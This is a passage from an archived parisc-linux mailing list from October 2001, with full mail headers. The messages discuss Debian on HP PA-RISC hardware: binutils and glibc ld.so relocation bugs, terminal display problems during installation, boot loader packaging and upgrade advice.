to hurt You, but help You. But You won't know how to ask for help, until 
You learn how to convey what You need to him. He assumes certain things, 
and so do You. The trick is to get those two sets as close as possible. 
When You know him _that_ well, then You can start working on changing him. 
Criticizing him or his assumptions, MO and so on will not work until You 
know everything that can be done with this new - in this case - tool. Get 
to know it, then Your criticism will have far more weight.

And, as a parting note, I am as bewildered by it as some. Esp since I used 
package commands on Solaris, and it ain't the same, despite similar 
sounding names... But I'm learning. 





From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest debian binutils broken?
Date: Mon, 22 Oct 2001 09:58:26 +0930
Lines: 12
Approved: news@gmane.org
Message-ID: <20011022095826.J1037@bubble.sa.bigpond.net.au>
References: <Pine.LNX.4.33.0110212131060.29072-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620663 28684 80.91.229.3 (22 Nov 2014 01:44:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jochen Friedrich <jochen+parisc-linux@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 18:28:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta04ps.bigpond.com (mta04ps.bigpond.com [144.135.25.136])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E7C0482A
	for <parisc-linux@parisc-linux.org>; Sun, 21 Oct 2001 18:28:35 -0600 (MDT)
Original-Received: from bubble.local ([144.135.25.84]) by
          mta04ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GLL0AE00.46R for <parisc-linux@parisc-linux.org>; Mon, 22 Oct
          2001 10:35:02 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by psmam06.mailsvc.email.bigpond.com(MailRouter V2.9k 8419/2729218); 22 Oct 2001 10:34:57
Original-Received: (qmail 20939 invoked by uid 179); 22 Oct 2001 00:28:26 -0000
Mail-Followup-To: Jochen Friedrich <jochen+parisc-linux@scram.de>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <Pine.LNX.4.33.0110212131060.29072-100000@alpha.bocc.de>; from jochen+parisc-linux@scram.de on Sun, Oct 21, 2001 at 09:34:34PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12765

On Sun, Oct 21, 2001 at 09:34:34PM +0200, Jochen Friedrich wrote:
> 
> with the latest debian binutils, as immediately crashes on my 720:

ldd as ?

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-October/014230.html
might be relevant if "as" is dynamic.





From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] small patch for cpu_idle?
Date: Sun, 21 Oct 2001 18:35:04 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20011021183504.I537@tausq.org>
References: <20011021105227.H537@tausq.org> <20011021212118.G31505@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620663 28687 80.91.229.3 (22 Nov 2014 01:44:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 19:35:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4338482A
	for <parisc-linux@parisc-linux.org>; Sun, 21 Oct 2001 19:35:26 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ticfiaaa for parisc-linux@parisc-linux.org; Sun, 21 Oct 2001 18:30:31 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15vTzc-0001Ac-00; Sun, 21 Oct 2001 18:35:04 -0700
Content-Disposition: inline
In-Reply-To: <20011021212118.G31505@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: Randolph Chung <randolph@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12766

> I don't see any difference between
> 
> while (foo) { }
> 
> and
> 
> while (foo) continue;

i was obviously smoking something funny :-(

ok, i'll look into more why i get a hang in cpu_idle when fsck requires
manual intervention on startup.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/




From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: Writing an HPPA Linux CD IMAGE from NT
Date: Mon, 22 Oct 2001 12:25:21 +1000
Lines: 46
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72BBF@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620663 28688 80.91.229.3 (22 Nov 2014 01:44:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 20:28:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7961F482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 20:28:26 -0600 (MDT)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <SF562QKG>; Mon, 22 Oct 2001 12:25:26 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12767

> -----Original Message-----
> From: Bill Ferguson [mailto:ferguson@quango.net]
> Sent: Monday, 22 October 2001 11:38 AM
> To: debian-hppa@lists.debian.org
> Subject: Writing an HPPA Linux CD IMAGE from NT
> 
> 
> At 06:33 PM 10/16/2001 +0100, you wrote:
> 
> >Hi Dean,
> >
> >You need to tell the CD writter to put the iso image on the 
> CD without
> >putting a filesystem around it. How you do that depends on 
> the burning
> >software. Some lame software might not even do it. [[Trying 
> hard not to
> >say anything nasty about NT.]
> 
> 
> In the interest of ecumenical peace among OS's, here's how to 
> burn a CD
> from NT assuming you have NERO CD Burner software and a TDK drive...
> 
> 

In the same interests, here's how to do it assuming Roxio/Adaptec Easy CD
Creator:

* Place blank CD in drive;
* Use Explorer to find the .iso image;
* Double click on .iso image;
* Wait for CD Creator to start;
* Press "Record" button;
* Wait for cd writing to finish.

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069 - AUSTRALIA
ph:  +61-7-3327 4685     fax:  +61-7-3327 4455
email:  matt.vandewerken@csiro.au




From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Mon, 22 Oct 2001 13:14:18 +0930
Lines: 36
Approved: news@gmane.org
Message-ID: <20011022131418.N1037@bubble.sa.bigpond.net.au>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011020095406.L10952@visi.net> <20011021000443.H1037@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620664 28693 80.91.229.3 (22 Nov 2014 01:44:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:24 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Jochen Friedrich <jochen+parisc-linux@scram.de>
To: Ben Collins <bcollins@debian.org>,
	parisc-linux@lists.parisc-linux.org, randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 21:44:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin10.bigpond.com (unknown [139.134.6.87])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AE7C482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 21:44:26 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.78]) by
          mailin10.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GLL9CT00.DQ1 for <parisc-linux@lists.parisc-linux.org>; Mon,
          22 Oct 2001 13:50:53 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by bwmam04.mailsvc.email.bigpond.com(MailRouter V2.9k 8329/9007510); 22 Oct 2001 13:50:49
Original-Received: (qmail 17972 invoked by uid 179); 22 Oct 2001 03:44:18 -0000
Mail-Followup-To: Ben Collins <bcollins@debian.org>,
	parisc-linux@lists.parisc-linux.org, randolph@tausq.org,
	"Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Jochen Friedrich <jochen+parisc-linux@scram.de>
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20011021000443.H1037@bubble.sa.bigpond.net.au>; from amodra@bigpond.net.au on Sun, Oct 21, 2001 at 12:04:43AM +0930
Xref: news.gmane.org gmane.linux.ports.parisc:12768

On Sun, Oct 21, 2001 at 12:04:43AM +0930, Alan Modra wrote:
> alan@tea:~$ /lib/ld.so.1 
> Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
> You have invoked `ld.so', the helper program for shared library executables.
> [snip]
> 
> no problems here.
> 
> sourceware CVS binutils as of a few minutes ago, debian glibc-2.2.4-3
> with willy's patch (ftp://ftp.parisc-linux.org/patches/glibc22-hppa.dpatch)
> + mine, gcc from pehc 3.0.2 20010829.

Confession time.  I had one little patch in ld which disabled Jakub's
combreloc code as a side-effect.  (I had ldmain.c:main,
link_info.spare_dynamic_tags = 0; to minimise differences between objects
generated by new vs. old binutils).  Setting this back to 5 gives me the
segv you reported.  :-(

The reason is that binutils/bfd/elf32_hppa.c:elf32_hppa_reloc_type_class

  if (ELF32_R_SYM (rela->r_info) == 0)
    return reloc_class_relative;

disagrees with glibc/sysdeps/hppa/dl-machine.h:elf_machine_rela_relative

/* XXX Nothing to do.  There is no relative relocation, right?  */

The net result of this disagreement is that ld.so doesn't relocate any
of the relocs in reloc_class_relative.  Testing an implementation of
elf_machine_rela_relative now.

Alan





From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: aungho <aungho@sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] about linux for PA_RISC
Date: Mon, 22 Oct 2001 11:44:02 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20011022034402.333.qmail@sina.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
X-Trace: ger.gmane.org 1416620664 28697 80.91.229.3 (22 Nov 2014 01:44:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:24 +0000 (UTC)
Cc: grundler@puffin.external.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 21 21:44:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sina.com (unknown [202.108.35.237])
	by dsl2.external.hp.com (Postfix) with SMTP id 6E180482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 21:44:25 -0600 (MDT)
Original-Received: (qmail 334 invoked by uid 99); 22 Oct 2001 03:44:02 -0000
X-Mailer: SinaMail 3.0Beta (FireToad)
X-Priority: 3
Xref: news.gmane.org gmane.linux.ports.parisc:12769

hi,
our server is HP L_2000 with text terminal.we made a installation CD of PA_risc linux 0.9(downloaded from http://parisc-linux.org) and use it to install.During the installation,the terminal display abnormally,showing a lot of non_ascii characters,and text display
not in order.
we tried TERM=vt102,TERM=vt102,TERM=vt102,they are all not display correctly.

b'rdgs

Wang Yang
______________________________________

===================================================================
ѵ (http://mail.sina.com.cn)
˷Ϣָϣ (http://classad.sina.com.cn/)
籭AŷţӮֻ󽱣 (http://sms.sina.com.cn/sport.html)




From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tamas TEVESZ <ice@extreme.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo and archs
Date: Mon, 15 Oct 2001 22:20:38 +0200 (CEST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110152216430.1428-100000@dawn.royalcomp.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620664 28700 80.91.229.3 (22 Nov 2014 01:44:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:24 +0000 (UTC)
To: <bame@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 08:53:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C893482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 08:53:31 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id IAA02311
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 08:53:30 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15uEY6-000OzAC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 08:53:30 -0600 (MDT) 
Resent-Message-Id: <m15uEY6-000OzAC@bame.riverrock.org>
Delivery-Date: Mon Oct 15 14:22:04 2001
Original-Received: from localhost (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15tEFO-000Oo4C@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <bame@localhost>; Mon, 15 Oct 2001 14:22:02 -0600 (MDT) 
Original-Received: from mail.riverrock.org [199.254.238.2]
	by localhost with IMAP (fetchmail-5.9.0)
	for bame@localhost (single-drop); Mon, 15 Oct 2001 14:22:02 -0600 (MDT)
Original-Received: from master.debian.org (mail@master.debian.org [216.234.231.130])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA15283
	for <bame@riverrock.org>; Mon, 15 Oct 2001 14:20:49 -0600
Original-Received: from event-horizon.royalcomp.hu [195.70.35.140] 
	by master.debian.org with esmtp (Exim 3.12 1 (Debian))
	id 15tEEC-0003ds-00; Mon, 15 Oct 2001 15:20:48 -0500
Original-Received: from border.royalcomp.hu ([195.70.42.158])
	by event-horizon.royalcomp.hu with esmtp (Exim 3.14 #1 (Debian))
	id 15tEE7-0001vo-00
	for <bame@debian.org>; Mon, 15 Oct 2001 22:20:43 +0200
Resent-To: parisc-linux@parisc-linux.org
Resent-Date: Thu, 18 Oct 2001 08:53:30 -0600
Resent-From: Paul Bame <bame@riverrock.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12770

hi,

silence:~# apt-cache show palo
Package: palo
Priority: important
Section: base
Installed-Size: 536
Maintainer: Paul Bame <bame@debian.org>
Architecture: i386
              ^^^^
Version: 0.94
Filename: pool/main/p/palo/palo_0.94_i386.deb
                                     ^^^^
Size: 202904
MD5sum: 10b68aacf76ec6d2c54b36d17be45418
Description: Linux boot loader for parisc/hppa
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 This package contains the parisc boot loader itself, plus palo which
 is the boot media management tool as lilo is for i386.
silence:~# dpkg --print-architecture
i386


hm ?

thanks,

-- 
[-]





From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: about linux for PA_RISC
Date: Mon, 22 Oct 2001 08:42:38 +0200 (CEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <1003732958.3bd3bfde3cbe1@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620665 28705 80.91.229.3 (22 Nov 2014 01:44:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: aungho@sina.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 00:42:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id D17F4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 00:42:51 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15vYnG-0005OP-00; Mon, 22 Oct 2001 08:42:38 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12771

Hi, 

I met the same behaviour a week ago with a L2000.
I simply change my console emulation from hpterm to vt100 (see your console 
documentation to do it) and it works fine.

Enjoy,
        Joel



-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] upgrade
Date: Mon, 22 Oct 2001 09:20:04 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0110220918010.26163-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620665 28715 80.91.229.3 (22 Nov 2014 01:44:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 07:20:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.com [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 3BC0F482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 07:20:07 -0600 (MDT)
Original-Received: (qmail 11845 invoked from network); 22 Oct 2001 13:20:05 -0000
Original-Received: from mojo.calyx.com (HELO mojo) (d1l1bhhftvz4pm677vef@216.82.160.22)
  by mail.calyx.com with SMTP; 22 Oct 2001 13:20:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:12772

Haven't touched my PA-RISC box in 6 months or so... should I
expect a smooth upgrade with APT and a CVS update of the kernel,
or should I wait for something (what?) before attempting it --
or am I hopelessly crusty and I should plan for a full re-install?

--
Brian S. Julin





From - Thu Nov 08 21:20:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] upgrade
Date: Mon, 22 Oct 2001 14:39:43 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20011022143943.A15967@parcelfarce.linux.theplanet.co.uk>
References: <Pine.BSO.4.33.0110220918010.26163-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620665 28716 80.91.229.3 (22 Nov 2014 01:44:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 07:39:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDBDF482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 07:39:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15vfIt-0004Ko-00; Mon, 22 Oct 2001 14:39:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.BSO.4.33.0110220918010.26163-100000@mojo.calyx.net>; from bri@mojo.calyx.net on Mon, Oct 22, 2001 at 09:20:04AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12773

On Mon, Oct 22, 2001 at 09:20:04AM -0400, Brian S. Julin wrote:
> Haven't touched my PA-RISC box in 6 months or so... should I
> expect a smooth upgrade with APT and a CVS update of the kernel,
> or should I wait for something (what?) before attempting it --
> or am I hopelessly crusty and I should plan for a full re-install?

Should work well.  You should upgrade your kernel before you upgrade
glibc, but aprt from that I can't think of any other problems.  Beware
that the current CVS kernel is probably broken for just about everyone
except rbrad :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Mon, 22 Oct 2001 23:35:34 +0930
Lines: 653
Approved: news@gmane.org
Message-ID: <20011022233534.X1037@bubble.sa.bigpond.net.au>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620666 28717 80.91.229.3 (22 Nov 2014 01:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, bcollins@debian.org,
	randolph@tausq.org, libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 08:05:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta03ps.bigpond.com (mta03ps.bigpond.com [144.135.25.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B955482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 08:05:49 -0600 (MDT)
Original-Received: from bubble.local ([144.135.25.69]) by
          mta03ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GLM24A00.1SF for <parisc-linux@lists.parisc-linux.org>; Tue,
          23 Oct 2001 00:12:10 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by PSMAM01.mailsvc.email.bigpond.com(MailRouter V2.9k 8374/735970); 23 Oct 2001 00:12:05
Original-Received: (qmail 11687 invoked by uid 179); 22 Oct 2001 14:05:34 -0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org, bcollins@debian.org,
	randolph@tausq.org, libc-alpha@sources.redhat.com
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20011020170907.G1037@bubble.sa.bigpond.net.au>; from amodra@bigpond.net.au on Sat, Oct 20, 2001 at 05:09:07PM +0930
Xref: news.gmane.org gmane.linux.ports.parisc:12774

On Sat, Oct 20, 2001 at 05:09:07PM +0930, Alan Modra wrote:
> 	* sysdeps/hppa/dl-machine.h (elf_machine_dynamic):  Make it a
> 	const function.  Do not use &_DYNAMIC as .got entries for global
> 	syms are no longer initialised.  Instead they rely on the reloc,
> 	which hasn't yet been applied.
> 	(elf_machine_load_address): Make it const.  Call
> 	elf_machine_dynamic as that function is called fropm rtld anyway.

The following, which includes the above patch, should allow glibc to
once again work on hppa-linux with current binutils.  A number of other
horrible things fixed:

a) ELF_MACHINE_PLTREL_OVERLAP defined.  This should have been defined
   right from the first hppa-linux glibc port.  Resulted in all the .plt
   relocs being processed twice, and meant that Jakub's optimisation
   with elf_machine_rel_relative didn't work.
b) It's true that hppa doesn't have an R_PARISC_RELATIVE reloc.  However,
   hppa-linux uses a scheme that gives the same benefits;  Normal relocs
   with a symbol index of zero.  Actually, this has an added benefit in
   that you can effectively have a "relative" IPLT reloc (Might be
   useful for prelinking).  I added code to binutils to tag these relocs
   as reloc_class_relative but didn't implement elf_machine_rela_relative,
   with the net result that many relocations weren't being applied.
c) .got section entries other than the reserved ones, are not longer
   read.
d) As for c) with lazy linking .plt entries.

glibc/ChangeLog
	* sysdeps/hppa/dl-fptr.h (_dl_lookup_address): Warning fix.
	* sysdeps/hppa/dl-machine.h (elf_machine_dynamic): Make it a const
	function.  Do not use &_DYNAMIC as .got entries are no longer
	initialised since we are a rela target.
        (elf_machine_load_address): Make it const.  Call
        elf_machine_dynamic as that function is called fropm rtld anyway.
	(runtime_got): New function.
	(elf_machine_runtime_setup): Use runtime_got and modify code
	handling IPLT so that .plt section contents need not be read.
	(_start): Formatting fixes.
	(ELF_MACHINE_PLTREL_OVERLAP): Define.
	(TRAMPOLINE_TEMPLATE): Don't use multi-line string literals.
	(elf_machine_rela): Likewise.
	(elf_machine_rela_relative): Implement.  Add "map" param.
	* sysdeps/alpha/dl-machine.h (elf_machine_rela_relative): Add "map".
	* sysdeps/arm/dl-machine.h (elf_machine_rel_relative): Ditto.
	* sysdeps/cris/dl-machine.h (elf_machine_rela_relative): Ditto.
	* sysdeps/i386/dl-machine.h (elf_machine_rel_relative): Ditto.
	* sysdeps/ia64/dl-machine.h (elf_machine_rela_relative): Ditto.
	* sysdeps/m68k/dl-machine.h (elf_machine_rela_relative): Ditto.
	* sysdeps/mips/mips64/dl-machine.h (elf_machine_rel_relative): Ditto.
	* sysdeps/mips/dl-machine.h (elf_machine_rel_relative): Ditto.
	* sysdeps/powerpc/dl-machine.h (elf_machine_rela_relative): Ditto.
	* sysdeps/s390/s390-32/dl-machine.h (elf_machine_rela_relative): Ditto.
	* sysdeps/s390/s390-64/dl-machine.h (elf_machine_rela_relative): Ditto.
	* sysdeps/sh/dl-machine.h (elf_machine_rela_relative): Ditto.
	* sysdeps/sparc/sparc32/dl-machine.h (elf_machine_rela_relative): Ditto
	* sysdeps/sparc/sparc64/dl-machine.h (elf_machine_rela_relative): Ditto
	* sysdeps/x86_64/dl-machine.h (elf_machine_rela_relative): Ditto.
	* elf/do-rel.h (elf_dynamic_do_rel): Modify call to suit.

-- 
Alan Modra

diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/elf/do-rel.h glibc-2.2.4-3/elf/do-rel.h
--- glibc-2.2.4-3.orig/elf/do-rel.h	Mon Oct 22 14:15:44 2001
+++ glibc-2.2.4-3/elf/do-rel.h	Mon Oct 22 20:36:37 2001
